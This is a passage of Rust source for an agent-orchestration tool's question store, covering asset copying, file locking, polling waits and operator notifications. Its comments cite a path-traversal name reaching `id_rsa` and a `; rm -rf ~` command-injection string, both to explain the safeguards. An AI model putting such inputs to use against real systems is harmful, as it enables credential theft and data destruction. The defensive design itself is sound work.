893 /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
894 /// since the owner's own last word - see that constant for why the window
895 /// exists at all and why its length is not configurable.
896 fn should_notify(&self, now: Timestamp) -> bool {
897 let Some(last) = self
898 .thread
899 .iter()
900 .rev()
901 .find(|t| t.who == Who::Operator)
902 .map(|t| t.at)
903 else {
904 return true;
905 };
906 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
907 }
908}
909
910/// A question store on disk.
911#[derive(Debug, Clone)]
912pub struct Questions {
913 root: PathBuf,
914}
915
916impl Questions {
917 /// The operator's questions, `<home>/questions`.
918 pub fn open() -> Self {
919 Self::at(crate::run::home().join("questions"))
920 }
921
922 /// A store at an explicit root. Tests use this, which is why none of them
923 /// need the operator's real home.
924 pub fn at(root: PathBuf) -> Self {
925 Self { root }
926 }
927
928 /// Directory holding the question files.
929 pub fn root(&self) -> &Path {
930 &self.root
931 }
932
933 /// Path for one question id.
934 pub fn path_of(&self, id: &str) -> PathBuf {
935 self.root.join(format!("{id}.json"))
936 }
937
938 /// Directory holding one question's panel, `<root>/<id>.panel`.
939 pub fn panel_dir(&self, id: &str) -> PathBuf {
940 self.root.join(format!("{id}{PANEL_DIR}"))
941 }
942
943 /// Store a panel: the html, plus `assets` copied in under their base
944 /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
945 /// question, or the record on disk will deny having a panel that exists.
946 ///
947 /// The assets are **copied, not referenced**. An agent authors its panel
948 /// inside a candidate worktree and points at files there, and `magi fold`
949 /// deletes those worktrees; a question is the permanent record of a
950 /// decision the owner took, so a panel that referenced its own images
951 /// would render as broken boxes exactly when someone went back to ask why
952 /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
953 /// does, and so does the [`std::fs::metadata`] the size is measured with,
954 /// so the bytes counted and the bytes written are the same target file's -
955 /// which is the intent: storing a link would leave the panel pointing at
956 /// the worktree again, one indirection further away.
957 ///
958 /// Everything that can be rejected is rejected before the first byte is
959 /// written, and the panel is then assembled in a scratch directory and
960 /// swapped in. So a refusal leaves the previous panel intact, and a
961 /// success replaces it *wholesale* rather than merging: a re-asked
962 /// question showing one attempt's diff next to another attempt's table
963 /// would be a panel neither agent ever wrote.
964 ///
965 /// [`put`]: Questions::put
966 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
967 if !valid_asset_name(&q.id) {
968 bail!(
969 "question id `{}` is not a name magi will build a panel path from",
970 q.id
971 );
972 }
973 if html.trim().is_empty() {
974 bail!(
975 "question {} was handed an empty panel; an empty frame reads to \
976 the owner as \"the agent had nothing to say\", which is a lie",
977 q.short()
978 );
979 }
980
981 // Names, then sizes, then writing - in that order, so nothing below
982 // can leave a partial panel on disk.
983 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
984 for src in assets {
985 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
986 if !valid_asset_name(name) {
987 bail!(
988 "panel asset `{}` cannot be stored: a panel file name must \
989 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
990 src.display()
991 );
992 }
993 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
994 bail!(
995 "two panel assets are both named `{name}` - {} and {} - and \
996 the panel can only show one of them; rename one at the source",
997 first.display(),
998 src.display()
999 );
1000 }
1001 named.push((name.to_owned(), src.as_path()));
1002 }
1003
1004 let mut total = html.len() as u64;
1005 for (_, src) in &named {
1006 let meta = std::fs::metadata(src)
1007 .with_context(|| format!("stat panel asset {}", src.display()))?;
1008 if !meta.is_file() {
1009 bail!(
1010 "panel asset `{}` is not a file; a panel is html plus files \
1011 copied beside it",
1012 src.display()
1013 );
1014 }
1015 total = total.saturating_add(meta.len());
1016 }
1017 if total > PANEL_MAX_BYTES {
1018 bail!(
1019 "panel for question {} is {total} bytes, over magi's cap of \
1020 {PANEL_MAX_BYTES} bytes; nothing was written",
1021 q.short()
1022 );
1023 }
1024
1025 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1026 let dir = self.panel_dir(&q.id);
1027 std::fs::create_dir_all(&self.root)
1028 .with_context(|| format!("create {}", self.root.display()))?;
1029 clear_dir(&tmp)?;
1030 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1031 if let Err(e) = fill_panel(&tmp, html, &named) {
1032 // A copy that dies halfway must not become the panel, and must not
1033 // leave scratch behind for the next call to inherit.
1034 let _ = std::fs::remove_dir_all(&tmp);
1035 return Err(e);
1036 }
1037 clear_dir(&dir)?;
1038 std::fs::rename(&tmp, &dir)
1039 .with_context(|| format!("move panel into {}", dir.display()))?;
1040
1041 q.panel = true;
1042 q.assets = named.into_iter().map(|(n, _)| n).collect();
1043 q.assets.sort_unstable();
1044 Ok(())
1045 }
1046
1047 /// The panel's html, or `None` when the question has no panel.
1048 ///
1049 /// `None` rather than an error for a missing panel because the caller is a
1050 /// web handler whose answer is 404 either way, and an unreadable panel is
1051 /// not a reason to fail the question it belongs to.
1052 pub fn panel_html(&self, id: &str) -> Option<String> {
1053 if !valid_asset_name(id) {
1054 return None;
1055 }
1056 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1057 }
1058
1059 /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1060 /// not a name a panel file can have".
1061 ///
1062 /// Rejects a name failing [`valid_asset_name`] **before touching the
1063 /// filesystem**, which is the whole point of the second check: the name
1064 /// arrives from a URL, the directory is on disk where any process could
1065 /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1066 /// operating system would resolve perfectly happily. The two callers'
1067 /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1068 /// `Result<Option<_>>` rather than one flattened `Option`.
1069 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1070 if !valid_asset_name(name) {
1071 bail!(
1072 "`{name}` is not a panel file name; it must match \
1073 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1074 );
1075 }
1076 if !valid_asset_name(id) {
1077 return Ok(None);
1078 }
1079 let dir = self.panel_dir(id);
1080 if !dir.is_dir() {
1081 return Ok(None);
1082 }
1083 let path = dir.join(name);
1084 match std::fs::read(&path) {
1085 Ok(bytes) => Ok(Some(bytes)),
1086 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1087 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1088 }
1089 }
1090
1091 /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1092 ///
1093 /// Succeeds when there is nothing to delete, so a caller cleaning up does
1094 /// not have to know whether a panel was ever written. The question record
1095 /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1096 /// in the same order as everywhere else here.
1097 ///
1098 /// [`put_panel`]: Questions::put_panel
1099 pub fn drop_panel(&self, id: &str) -> Result<()> {
1100 if !valid_asset_name(id) {
1101 bail!("question id `{id}` is not a name magi will build a panel path from");
1102 }
1103 clear_dir(&self.panel_dir(id))?;
1104 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1105 }
1106
1107 /// Path of the lease sidecar for one question id.
1108 pub fn lease_path(&self, id: &str) -> PathBuf {
1109 self.root.join(format!("{id}.lease"))
1110 }
1111
1112 /// The lease on a question, if a readable one exists.
1113 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1114 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1115 serde_json::from_str(&body).ok()
1116 }
1117
1118 /// Say, as `kind`, that something is alive and waiting on this question.
1119 ///
1120 /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1121 /// a reason to abandon a wait - the worst it costs is the waiter deciding
1122 /// the holder is gone a little early, and that is what the delivery guard
1123 /// (the seat still being busy) is there for.
1124 pub fn beat(&self, id: &str, kind: WaiterKind) {
1125 let lease = Lease {
1126 kind,
1127 pid: std::process::id(),
1128 beat_at: Timestamp::now(),
1129 };
1130 let path = self.lease_path(id);
1131 let tmp = path.with_extension("lease.tmp");
1132 let written = std::fs::create_dir_all(&self.root)
1133 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1134 .and_then(|()| std::fs::rename(&tmp, &path));
1135 if let Err(e) = written {
1136 tracing::debug!("could not beat the lease on question {id}: {e}");
1137 }
1138 }
1139
1140 /// Remove the lease sidecar. Absent is fine.
1141 pub fn drop_lease(&self, id: &str) {
1142 let _ = std::fs::remove_file(self.lease_path(id));
1143 }
1144
1145 /// Read-modify-write one question under a short exclusive lock, so the
1146 /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1147 /// each other with a copy that predates the others.
1148 ///
1149 /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1150 /// a torn file and does nothing for two writers that both read the same
1151 /// version first. Everything that changes a question that can still be
1152 /// answered goes through here: `f` sees the current record, not one loaded
1153 /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1154 /// mid-update and is broken.
1155 pub fn update<T>(
1156 &self,
1157 id: &str,
1158 f: impl FnOnce(&mut Question) -> Result<T>,
1159 ) -> Result<(Question, T)> {
1160 std::fs::create_dir_all(&self.root)
1161 .with_context(|| format!("create {}", self.root.display()))?;
1162 let lock = self.root.join(format!("{id}.lock"));
1163 let started = std::time::Instant::now();
1164 loop {
1165 match std::fs::OpenOptions::new()
1166 .write(true)
1167 .create_new(true)
1168 .open(&lock)
1169 {
1170 Ok(_) => break,
1171 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1172 let stale = std::fs::metadata(&lock)
1173 .and_then(|m| m.modified())
1174 .ok()
1175 .and_then(|t| t.elapsed().ok())
1176 .is_some_and(|age| age > LOCK_STALE);
1177 if stale {
1178 let _ = std::fs::remove_file(&lock);
1179 } else if started.elapsed() > LOCK_STALE {
1180 bail!("could not lock question {id}");
1181 } else {
1182 std::thread::sleep(Duration::from_millis(15));
1183 }
1184 }
1185 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1186 }
1187 }
1188 struct Unlock(PathBuf);
1189 impl Drop for Unlock {
1190 fn drop(&mut self) {
1191 let _ = std::fs::remove_file(&self.0);
1192 }
1193 }
1194 let _guard = Unlock(lock);
1195 let mut q = read_path(&self.path_of(id))?;
1196 let out = f(&mut q)?;
1197 self.put(&mut q)?;
1198 Ok((q, out))
1199 }
1200
1201 /// Write a question, atomically, so a process killed mid-write leaves the
1202 /// previous state readable rather than a truncated file that would strand
1203 /// the run waiting on it.
1204 pub fn put(&self, q: &mut Question) -> Result<()> {
1205 std::fs::create_dir_all(&self.root)
1206 .with_context(|| format!("create {}", self.root.display()))?;
1207 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1208 let path = self.path_of(&q.id);
1209 let tmp = path.with_extension("json.tmp");
1210 let is_new = !path.exists();
1211 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1212 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1213 // A first write of an open question pages the operator, so a separate
1214 // notification about the same task or run is now a second page.
1215 if is_new
1216 && q.status.open()
1217 && q.node != crate::bump::NOTICE_NODE
1218 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1219 {
1220 crate::notices::quiet_for(home, q);
1221 }
1222 Ok(())
1223 }
1224
1225 /// Load a question by id or unambiguous id prefix.
1226 pub fn get(&self, id: &str) -> Result<Question> {
1227 let resolved = self.resolve_id(id)?;
1228 read_path(&self.path_of(&resolved))
1229 }
1230
1231 /// Every question on disk: open first, then newest first.
1232 ///
1233 /// Open first because that ordering is the product - the list exists to
1234 /// show the operator what has stopped, and an answered question is history
1235 /// underneath it. Unreadable files are skipped rather than fatal: one
1236 /// corrupt question must not take the web UI down, and must certainly not
1237 /// hide the open question the operator was looking for.
1238 pub fn list(&self) -> Vec<Question> {
1239 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1240 .into_iter()
1241 .flatten()
1242 .flatten()
1243 .map(|e| e.path())
1244 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1245 .filter_map(|p| read_path(&p).ok())
1246 .collect();
1247 all.sort_unstable_by(|a, b| {
1248 let rank = |q: &Question| u8::from(!q.status.open());
1249 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1250 });
1251 all
1252 }
1253
1254 /// Open questions belonging to one run, newest first.
1255 ///
1256 /// Used to decide whether a parked run can be resumed: while this is
1257 /// non-empty, nothing about the run has changed and no agent should be
1258 /// spawned for it.
1259 pub fn open_for(&self, run: &str) -> Vec<Question> {
1260 self.list()
1261 .into_iter()
1262 .filter(|q| q.status.open() && q.run == run)
1263 .collect()
1264 }
1265
1266 /// Abandon every open question belonging to a run, and report how many.
1267 ///
1268 /// Called when a run's record is deleted. The agent that asked died with
1269 /// the run, so there is nobody left to hand an answer to, and a question
1270 /// left open would keep asking the operator for a decision that can no
1271 /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1272 /// イルが見つかりません" with two buttons, for a run whose directory had
1273 /// been gone for two hours.
1274 ///
1275 /// Abandoned rather than deleted, because [`Question::abandon`] already
1276 /// means "this can no longer be answered" and the record of having asked
1277 /// is worth keeping. Answered questions are left exactly as they are.
1278 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1279 let mut abandoned = 0;
1280 for mut q in self.open_for(run) {
1281 q.abandon(why);
1282 self.put(&mut q)?;
1283 abandoned += 1;
1284 }
1285 Ok(abandoned)
1286 }
1287
1288 /// Abandon a run's open questions once `status` says the run is not
1289 /// coming back, worded with what it actually became.
1290 ///
1291 /// The run-deleted case above and this one are the same fact - nobody is
1292 /// left to read an answer - reached by two different doors. This is the
1293 /// one for a run that finished on its own: merged, reached `Ready` with
1294 /// nothing left to do, failed outright with no established point to
1295 /// resume from, or every candidate agreed, with evidence, that nothing
1296 /// belonged in the worktree. Those are exactly the statuses
1297 /// [`RunStatus::resumable`]
1298 /// excludes, and that is the line this draws too - deliberately not
1299 /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1300 /// over. Both of those can still be picked back up with the candidates,
1301 /// the review round and the seat sessions already on disk, so a question
1302 /// asked mid-round may yet get a real answer from a real resume, and
1303 /// folding it here would be exactly the mistake this function exists to
1304 /// avoid on the other side - answering back into a run that no longer
1305 /// exists to read it.
1306 ///
1307 /// A no-op, not an error, when `status` is still resumable or when there
1308 /// was nothing open to begin with - callers reach this from more than one
1309 /// place a run can settle, and a second call finding nothing left to
1310 /// abandon is the expected case, not a bug.
1311 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1312 if status.resumable() {
1313 return Ok(0);
1314 }
1315 let why = format!(
1316 "run {run} {}, so nothing is waiting for this answer",
1317 status.as_str()
1318 );
1319 // A post-merge notice is the exception: it is filed *because* the run
1320 // merged, and no agent waits on it - it is a to-do for the owner, not
1321 // a question a dead seat asked. Abandoning it here would erase the
1322 // only alert the moment the run settles.
1323 let mut abandoned = 0;
1324 for mut q in self.open_for(run) {
1325 if q.node == crate::bump::NOTICE_NODE {
1326 continue;
1327 }
1328 q.abandon(&why);
1329 self.put(&mut q)?;
1330 abandoned += 1;
1331 }
1332 Ok(abandoned)
1333 }
1334
1335 /// Expand an id prefix to exactly one question id. The short id the phone
1336 /// and the reports show is a suffix, so that is accepted too.
1337 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1338 if self.path_of(prefix).is_file() {
1339 return Ok(prefix.to_owned());
1340 }
1341 let hits: Vec<String> = self
1342 .list()
1343 .into_iter()
1344 .map(|q| q.id)
1345 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1346 .collect();
1347 match hits.len() {
1348 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1349 0 => bail!("no question matches `{prefix}`"),
1350 _ => bail!(
1351 "`{prefix}` matches {} questions: {}",
1352 hits.len(),
1353 hits.join(", ")
1354 ),
1355 }
1356 }
1357
1358 /// Newest modification time in the store, in milliseconds, for change
1359 /// detection. The web UI compares this instead of re-reading every
1360 /// question, so an idle phone on a slow link costs one `stat` per file.
1361 pub fn revision(&self) -> u64 {
1362 std::fs::read_dir(&self.root)
1363 .into_iter()
1364 .flatten()
1365 .flatten()
1366 .filter_map(|e| e.metadata().ok())
1367 .filter_map(|m| m.modified().ok())
1368 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1369 .map(|d| d.as_millis() as u64)
1370 .max()
1371 .unwrap_or(0)
1372 }
1373
1374 /// How many questions are open, whichever side of the conversation is
1375 /// holding the ball right now. Ten turns of back and forth between the
1376 /// owner and the agent are still one open question - see
1377 /// [`Question::say`] - so this does not drop while a reply is in
1378 /// flight. [`Self::count_needs_owner`] is the number that does.
1379 pub fn count_open(&self) -> usize {
1380 self.list().iter().filter(|q| q.status.open()).count()
1381 }
1382
1383 /// How many open questions actually need the owner right now: open, and
1384 /// not [`Question::waiting_on_agent`].
1385 ///
1386 /// This is the number a notification channel owes - the ask bar, the nav
1387 /// badge, the document title - because those exist to say "something
1388 /// needs you", and a question sitting in `magi ask --thread` limbo does
1389 /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1390 /// where a round trip must not look like the run resumed.
1391 pub fn count_needs_owner(&self) -> usize {
1392 self.list()
1393 .iter()
1394 .filter(|q| q.status.open() && !q.waiting_on_agent())
1395 .count()
1396 }
1397}
1398
1399/// How a wait over [`Question`] ended.
1400#[derive(Debug, Clone, PartialEq, Eq)]
1401pub enum Wait {
1402 /// The owner decided. Carries [`Question::resolution`].
1403 Answered(String),
1404 /// The owner spoke back without deciding - see [`Question::say`]. The
1405 /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1406 /// the caller's move is to hand this text to the agent and let it call
1407 /// `magi ask --thread` to keep talking, not to treat it as a decision.
1408 Replied(String),
1409 /// This call's [`WAIT_SLICE`] ran out with the question still
1410 /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1411 /// going quiet, the clock on *this process* running out. The question is
1412 /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1413 /// process, so the wait resumes before the shell tool that would have
1414 /// killed this one gets the chance.
1415 Pending,
1416 /// Nobody said anything before the deadline, or the question was closed
1417 /// out from under the wait with no decision recorded - a run deleted out
1418 /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1419 /// now on disk.
1420 Abandoned,
1421}
1422
1423/// File a question and wait for the owner, polling the store.
1424///
1425/// The question is updated in place from disk whenever the wait ends, so the
1426/// caller can act on it without re-reading it. `timeout` is the question's
1427/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1428/// of it - see [`Wait::Pending`] for what happens to the rest.
1429pub async fn ask_and_wait(
1430 q: &mut Question,
1431 store: &Questions,
1432 notify: &config::Notify,
1433 timeout: Duration,
1434) -> Result<Wait> {
1435 wait_for_owner(q, store, notify, timeout, POLL).await
1436}
1437
1438/// Resume a wait already filed, without adding a turn or notifying again.
1439///
1440/// This is `magi ask --wait <id>`'s engine: the process that owned the
1441/// previous slice is dead (the tool that ran it killed it, or it simply
1442/// exited after reporting [`Wait::Pending`]), but the question on disk never
1443/// stopped being open, and the owner was already notified about it once. A
1444/// second notification for the same unanswered question would page the
1445/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1446/// unlike [`ask_and_wait`], this skips straight to polling.
1447///
1448/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1449/// caller computes it as what remains until [`Question::asked_at`] plus the
1450/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1451/// up the deadline the first ask set, never push it out further.
1452pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1453 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1454}
1455
1456/// [`ask_and_wait`] with the poll interval injected.
1457///
1458/// Separate only so the tests can drive a whole wait in milliseconds instead of
1459/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1460/// a knob the operator gets to tune.
1461async fn wait_for_owner(
1462 q: &mut Question,
1463 store: &Questions,
1464 cfg: &config::Notify,
1465 timeout: Duration,
1466 poll: Duration,
1467) -> Result<Wait> {
1468 // A question that is already on disk (a `--thread` reply just wrote it under
1469 // the lock) is left alone: this copy may predate an answer or say that
1470 // landed since, and writing it back would erase that.
1471 if !store.path_of(&q.id).is_file() {
1472 store.put(q).context("file the question")?;
1473 }
1474 if q.should_notify(Timestamp::now()) {
1475 if let Err(e) = notify(cfg, q).await {
1476 // A broken webhook is not a reason to throw away an implementation.
1477 // The question is already on disk and the web UI already shows it,
1478 // so the operator still has a way in; only the tap on the shoulder
1479 // is lost.
1480 tracing::warn!(
1481 "could not notify about question {}: {e:#} - the web UI is the \
1482 only surface for it now",
1483 q.short()
1484 );
1485 }
1486 }
1487 tracing::info!(
1488 "question {} from {} is waiting for you: {}",
1489 q.short(),
1490 q.seat,
1491 q.summary
1492 );
1493 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1494}
1495
1496/// Take the wait as this process: beat the lease and note it on the record.
1497fn hold(store: &Questions, id: &str) {
1498 store.beat(id, WaiterKind::Asker);
1499 let took = store.update(id, |q| {
1500 if q.status.open() {
1501 q.waiter = Some(Waiter {
1502 kind: WaiterKind::Asker,
1503 since: Timestamp::now(),
1504 });
1505 }
1506 Ok(())
1507 });
1508 if let Err(e) = took {
1509 tracing::debug!("could not note the wait on question {id}: {e:#}");
1510 }
1511}
1512
1513/// Record that the agent has read everything so far, so the daemon waiter does
1514/// not resume a session to tell it what was already printed.
1515///
1516/// Callers must invoke this only **after** the word reached the agent's stdout:
1517/// marking first would let a tool timeout kill the process between the mark
1518/// and the print, and the waiter would then consider a word delivered that no
1519/// agent ever saw.
1520pub fn hand_over(store: &Questions, q: &mut Question) {
1521 let done = store.update(&q.id, |r| {
1522 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1523 if r.status == QuestionStatus::Answered {
1524 r.answer_delivered = true;
1525 }
1526 r.waiter = None;
1527 Ok(())
1528 });
1529 match done {
1530 Ok((fresh, ())) => *q = fresh,
1531 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1532 }
1533}
1534
1535/// The polling loop shared by a fresh wait and a resumed one.
1536///
1537/// `timeout` is the budget left before the question's `answer_timeout`
1538/// truly runs out; `slice` bounds how much of that this one call spends
1539/// before handing control back. Landing on `slice` while `timeout` still has
1540/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1541/// silence. Landing on `timeout` itself - because it was no bigger than
1542/// `slice` to begin with - is the real thing, and abandons the question
1543/// exactly as a single unsliced wait always did.
1544async fn wait_loop(
1545 q: &mut Question,
1546 store: &Questions,
1547 timeout: Duration,
1548 slice: Duration,
1549 poll: Duration,
1550) -> Result<Wait> {
1551 // The owner may already have spoken back before this call ever started -
1552 // most often because they did so in the gap between an earlier call
1553 // reporting `Wait::Pending` and this one picking the wait back up with
1554 // `--wait`. That word must surface at once rather than sit unnoticed
1555 // until some *later* turn happens to change something: this call never
1556 // saw it get added, so nothing below would otherwise recognise it as
1557 // new. `last_word_awaiting_reply` reads the question's own record of
1558 // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1559 // turn count this call would have to have been there to capture.
1560 if let Some(said) = q.unread_from_owner() {
1561 return Ok(Wait::Replied(said));
1562 }
1563 hold(store, &q.id);
1564
1565 let bounded = timeout.min(slice);
1566 let is_the_real_deadline = bounded >= timeout;
1567 let deadline = tokio::time::Instant::now() + bounded;
1568 loop {
1569 let now = tokio::time::Instant::now();
1570 if now >= deadline {
1571 if !is_the_real_deadline {
1572 // The lease is left to age out on purpose: the caller is about
1573 // to run `magi ask --wait`, and that gap is what LEASE_TTL
1574 // covers.
1575 return Ok(Wait::Pending);
1576 }
1577 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1578 // Re-checked on the record as it is now: the owner may have said
1579 // something in time since the last poll, and that word is handed
1580 // over, not abandoned.
1581 let (fresh, unread) = store
1582 .update(&q.id, |r| {
1583 let unread = r.unread_from_owner();
1584 if unread.is_none() {
1585 r.abandon(&why);
1586 r.waiter = None;
1587 }
1588 Ok(unread)
1589 })
1590 .context("record the abandoned question")?;
1591 *q = fresh;
1592 if let Some(said) = unread {
1593 return Ok(Wait::Replied(said));
1594 }
1595 tracing::warn!(
1596 "question {} went unanswered for {}s; the run parks and the \
1597 question stays as the record of it",
1598 q.short(),
1599 timeout.as_secs()
1600 );
1601 return Ok(Wait::Abandoned);
1602 }
1603 tokio::time::sleep(poll.min(deadline - now)).await;
1604 store.beat(&q.id, WaiterKind::Asker);
1605 match store.get(&q.id) {
1606 Ok(fresh) if !fresh.status.open() => {
1607 // Whoever answered - the phone, `magi answer`, another daemon -
1608 // owns the record now, so adopt theirs wholesale rather than
1609 // merging into a copy that predates it.
1610 *q = fresh;
1611 return Ok(match q.resolution() {
1612 Some(a) => Wait::Answered(a),
1613 // Closed with no decision - abandoned elsewhere, most
1614 // often by the run behind it being deleted mid-wait.
1615 None => Wait::Abandoned,
1616 });
1617 }
1618 Ok(fresh) => {
1619 if let Some(said) = fresh.unread_from_owner() {
1620 *q = fresh;
1621 return Ok(Wait::Replied(said));
1622 }
1623 // Still open and not waiting on the agent - nothing this
1624 // wait cares about happened, so keep polling.
1625 }
1626 Err(e) => {
1627 // Mid-rename, or a file the operator is editing by hand.
1628 // Neither is a reason to abandon a question a human may still
1629 // answer, so keep polling until the deadline decides.
1630 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1631 }
1632 }
1633 }
1634}
1635
1636/// Run the operator's notification command, if one is configured.
1637///
1638/// The command is argv, never a shell string, and the substitutions below are a
1639/// single pass over each argument: a summary containing `; rm -rf ~` is one
1640/// argument to one program, and a summary containing the characters `{run}` is
1641/// not re-expanded. That property is the reason agent-authored text can be put
1642/// in a notification at all.
1643///
1644/// An error here is reported, not swallowed, so `magi notify --test` can show
1645/// the operator why nothing arrives. The waiting path logs it and carries on.
1646pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1647 notify_text(cmd, &q.run, &q.summary).await
1648}
1649
1650/// [`notify`] for an event that is not a question: the same command, the same
1651/// placeholders, with `summary` and `run` supplied directly.
1652pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1653 let Some((program, args)) = cmd.command.split_first() else {
1654 // No command configured: the web UI is the only surface, by choice.
1655 return Ok(());
1656 };
1657 let url = web_url();
1658 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1659 tracing::warn!(
1660 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1661 so the link will be empty - export it next to `magi serve` with \
1662 the address `magi web --open` printed"
1663 );
1664 }
1665 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1666 tracing::debug!(program = %program, args = ?argv, "notifying");
1667
1668 let mut child = tokio::process::Command::new(program);
1669 child.quiet();
1670 child
1671 .args(&argv)
1672 .stdin(std::process::Stdio::null())
1673 // Killed if the timeout below drops this future: a notification
1674 // command left running would outlive the run it was announcing.
1675 .kill_on_drop(true);
1676 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1677 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1678 Err(_) => bail!(
1679 "notification command `{program}` did not finish within {}s",
1680 NOTIFY_TIMEOUT.as_secs()
1681 ),
1682 };
1683 if !out.status.success() {
1684 let stderr = String::from_utf8_lossy(&out.stderr);
1685 let why = stderr
1686 .lines()
1687 .rev()
1688 .find(|l| !l.trim().is_empty())
1689 .unwrap_or("no output on stderr")
1690 .trim();
1691 bail!(
1692 "notification command `{program}` exited with {}: {why}",
1693 out.status
1694 );
1695 }
1696 Ok(())
1697}
1698
1699/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1700///
1701/// One left-to-right pass, so a substituted value is never scanned for further
1702/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1703/// in a question must not make the notification recursive.
1704fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1705 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1706 let mut out = String::with_capacity(template.len());
1707 let mut rest = template;
1708 while let Some(at) = rest.find('{') {
1709 out.push_str(&rest[..at]);
1710 let tail = &rest[at..];
1711 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1712 Some((token, value)) => {
1713 out.push_str(value);
1714 rest = &tail[token.len()..];
1715 }
1716 None => {
1717 // Not a placeholder magi knows: it is the operator's own text.
1718 out.push('{');
1719 rest = &tail[1..];
1720 }
1721 }
1722 }
1723 out.push_str(rest);
1724 out
1725}
1726
1727/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1728fn web_url() -> String {
1729 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1730}
1731
1732/// Point a configured base URL at the view that can answer the question.
1733///
1734/// A notification the operator has to navigate from is a question that stays
1735/// unanswered until morning, so the questions view is appended - unless the
1736/// operator already wrote a fragment, in which case they have said where they
1737/// want to land and magi does not know better.
1738fn question_url(base: &str) -> String {
1739 let base = base.trim().trim_end_matches('/');
1740 if base.is_empty() || base.contains('#') {
1741 return base.to_owned();
1742 }
1743 format!("{base}/#/questions")
1744}
1745
1746/// Assemble a panel's contents in an already-empty directory.
1747///
1748/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1749/// first error without an early `return` skipping that cleanup.
1750fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1751 let index = dir.join(PANEL_HTML);
1752 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1753 for (name, src) in assets {
1754 let dst = dir.join(name);
1755 std::fs::copy(src, &dst)
1756 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1757 }
1758 Ok(())
1759}
1760
